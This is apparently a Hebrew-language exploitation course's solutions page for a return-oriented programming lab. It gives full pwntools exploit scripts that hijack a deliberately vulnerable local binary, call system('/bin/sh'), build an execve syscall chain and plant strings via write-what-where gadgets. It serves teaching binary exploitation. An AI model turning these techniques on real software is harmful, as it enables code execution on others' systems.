4.3 ROP וגאדג'טים פתרון
פתרון - ROP וגאדג'טים¶
נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. הכתובות בפלט הן דוגמה בלבד; בין גרסאות מהדר הן משתנות מעט, אז תמיד שלפו את הכתובות מהבינארי שלכם ואל תעתיקו עיוור.
פתרון תרגיל 1 - סיור והכנה¶
בדיקת ההגנות:
בדיוק מה שרצינו: NX פעיל (לכן ROP), אין canary, אין PIE (כתובות קבועות).
מציאת הכתובות:
$ objdump -d rop_lab | grep '<secret>:'
0000000000401196 <secret>:
$ objdump -d rop_lab | grep '<system@plt>:'
0000000000401060 <system@plt>:
$ ROPgadget --binary rop_lab --string '/bin/sh'
0x0000000000402008 : /bin/sh
מציאת ה-offset עם cyclic:
from pwn import *
context.binary = ELF('./rop_lab')
p = process('./rop_lab')
p.sendline(cyclic(200))
p.wait()
core = p.corefile
fault = core.read(core.rsp, 8) # what was on top of the stack at ret
log.info('offset = %d', cyclic_find(fault))
עבור rop_lab (buffer 64 + saved rbp 8) יוצא offset של 72. אם אצלכם יצא ערך אחר, זה בגלל padding alignment של המהדר - השתמשו בערך שמדדתם. הלקח החוזר: מפה לפני שתוקפים.
פתרון תרגיל 2 - מציאת גאדג'טים¶
שלוש הדרכים, ואותה תוצאה:
$ ROPgadget --binary rop_lab | grep 'pop rdi ; ret'
0x0000000000401256 : pop rdi ; ret
$ ropper --file rop_lab --search "pop rdi; ret"
[INFO] File: rop_lab
0x0000000000401256: pop rdi; ret;
$ ROPgadget --binary rop_lab | grep ': ret$'
0x000000000040101a : ret
ומתוך python:
from pwn import *
rop = ROP(ELF('./rop_lab'))
print(hex(rop.find_gadget(['pop rdi', 'ret'])[0])) # 0x401256
print(hex(rop.find_gadget(['ret'])[0])) # 0x40101a
שלושתם מסכימים על 0x401256 ל-pop rdi ; ret ועל 0x40101a ל-ret בודד. למה זה עבד: הכלים סורקים את אותם בתים באותו מקטע .text, אז ההסכמה מובטחת. איך להכליל: כדאי להכיר את שלושתם כי בגאדג'טים מסובכים לפעמים אחד מציג יפה יותר מהשני.
פתרון תרגיל 3 - ROP chain עם ארגומנט מבוקר¶
טוענים את rdi בערך הסודי וקופצים ל-secret:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./rop_lab')
pop_rdi = 0x401256
secret = elf.symbols['secret'] # 0x401196
offset = 72
payload = flat({offset: [
pop_rdi, 0xdeadbeefcafe, # rdi = code
secret, # secret(0xdeadbeefcafe)
]})
p = process('./rop_lab')
p.recvuntil(b'bytes:')
p.sendline(payload)
print(p.recvall(timeout=2).decode())
הפלט:
למה זה עבד: הזרימה היא ret של vuln -> pop rdi ; ret שולף את 0xdeadbeefcafe ל-rdi -> ה-ret של הגאדג'ט קופץ ל-secret כש-rdi כבר מכיל את הערך הנכון, אז ה-if עובר. שימו לב שכאן לא נזקקנו לalignment מחסנית, כי secret קוראת רק ל-puts (שלא קורס על movaps), לא ל-system. איך להכליל: זו התבנית הכללית לקריאה לכל פונקציה ב-64 ביט עם ארגומנט אחד - [pop rdi] [ערך] [כתובת הפונקציה].
פתרון תרגיל 4 - ROP chain ל-shell¶
עכשיו system("/bin/sh"). שימו לב לגאדג'ט ה-ret הבודד בהתחלה - הוא מיישר את המחסנית ומונע את קריסת ה-movaps:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./rop_lab')
pop_rdi = 0x401256
ret = 0x40101a # single ret gadget for alignment
binsh = 0x402008
system = elf.plt['system'] # 0x401060
offset = 72
payload = flat({offset: [
ret, # aligns the stack to 16 bytes
pop_rdi, binsh, # rdi = address of "/bin/sh"
system, # system("/bin/sh")
]})
p = process('./rop_lab')
p.recvuntil(b'bytes:')
p.sendline(payload)
p.interactive()
הפלט, ואז shell:
אם היינו משמיטים את גאדג'ט ה-ret הראשון, היינו רואים ב-gdb קריסה כזו:
Program received signal SIGSEGV
=> 0x7ffff7e4a3b1 <do_system+915>: movaps XMMWORD PTR [rsp+0x50], xmm0
זה החתום המובהק של בעיית הalignment. למה זה עבד: pop rdi הצביע את rdi על "/bin/sh", גאדג'ט ה-ret הבודד יישר את rsp ל-16 בתים כך ש-movaps בתוך do_system לא קרס, ו-system קיבל את הארגומנט הנכון. איך להכליל: כל קריאה ל-system/printf ב-64 ביט צריכה לחשוד בalignment. גאדג'ט ret אחד פותר.
פתרון תרגיל 5 - אותו דבר עם אובייקט ROP¶
אותה תוצאה, בלי כתובות קשיחות. pwntools מוצא את הגאדג'טים ואת המחרוזת לבד:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./rop_lab')
binsh = next(elf.search(b'/bin/sh\x00')) # finds the string in the binary
rop = ROP(elf)
rop.raw(rop.find_gadget(['ret'])[0]) # aligns the stack to 16 bytes
rop.call('system', [binsh]) # finds pop rdi on its own
log.info('\n' + rop.dump())
offset = 72
payload = flat({offset: rop.chain()})
p = process('./rop_lab')
p.recvuntil(b'bytes:')
p.sendline(payload)
p.interactive()
ה-rop.dump() מדפיס בדיוק את מה שבנינו ידנית בתרגיל 4:
0x0000: 0x40101a ret
0x0008: 0x401256 pop rdi ; ret
0x0010: 0x402008 [arg0] rdi = 4202504
0x0018: 0x401060 system
הכתובות זהות לאלה שהזנו ביד: 0x40101a ל-ret, 0x401256 ל-pop rdi ; ret, 0x402008 למחרוזת, ו-0x401060 ל-system. למה זה עבד: ROP פענח את הבינארי, מצא את הגאדג'טים לפי תיאור, וסידר את הערכים בסדר הנכון. איך להכליל: זו דרך העבודה המקצועית - נותנים ל-ROP לבנות, ומשתמשים ב-rop.dump() כדי לאמת מול ההבנה שלנו.
פתרון תרגיל 6 (בונוס) - execve דרך syscall¶
החשיבה: execve("/bin/sh", 0, 0) דורש rax=59, rdi מצביע ל-"/bin/sh", rsi=0, rdx=0, ואז syscall. אילו היו לנו הגאדג'טים המתאימים והמחרוזת בבינארי, הchain הייתה:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./rop_lab')
binsh = next(elf.search(b'/bin/sh\x00'))
rop = ROP(elf)
rop.rax = 59 # execve syscall number
rop.rdi = binsh # pointer to "/bin/sh"
rop.rsi = 0
rop.rdx = 0
rop.raw(rop.find_gadget(['syscall', 'ret'])[0])
log.info('\n' + rop.dump())
מחפשים את הגאדג'טים:
בבינארי דינמי קטן כמו שלנו, כמעט תמיד לא יימצא גאדג'ט syscall נוח, ולעיתים גם לא pop rax יפה. זה בדיוק הלקח: ה-syscall הישיר זמין בעיקר בבינארי סטטי, שם כל libc מקומפל פנימה ומלא בגאדג'טים כאלה. בבינארי דינמי, כשאין system נוח, פונים לגאדג'טים ולפונקציות של libc עצמו - וזה מצריך לדעת את כתובת הבסיס של libc, שמערבבת ב-ASLR. איך משיגים אותה? מדליפים כתובת. זה בדיוק הנושא של השיעור הבא, 4.4.
ואם המחרוזת "/bin/sh" לא הייתה קיימת בבינארי בכלל? היינו שותלים אותה בעצמנו ב-.bss (כתובת קבועה בבינארי לא-PIE) עם גאדג'ט כתיבה:
pop rax ; ret -> rax = u64("/bin/sh\0")
pop rdi ; ret -> rdi = address in .bss
mov [rdi], rax ; ret -> writes the string to .bss
... and we continue as usual with rdi = that .bss address
למה זה עבד: השתמשנו בגאדג'ט כתיבה כדי לשתול נתון בזיכרון, ואז השתמשנו בו כמו כל מחרוזת אחרת. איך להכליל: זו טכניקת ה-write-what-where, לבנה בסיסית שתחזור ב-ret2dlresolve וב-SROP בפרק 6. הרעיון הגדול: ברגע שיש לכם גאדג'ט pop וגאדג'ט mov [reg], reg, אתם יכולים לבנות בזיכרון כל מבנה נתונים שצריך לקריאה שאתם מתכננים.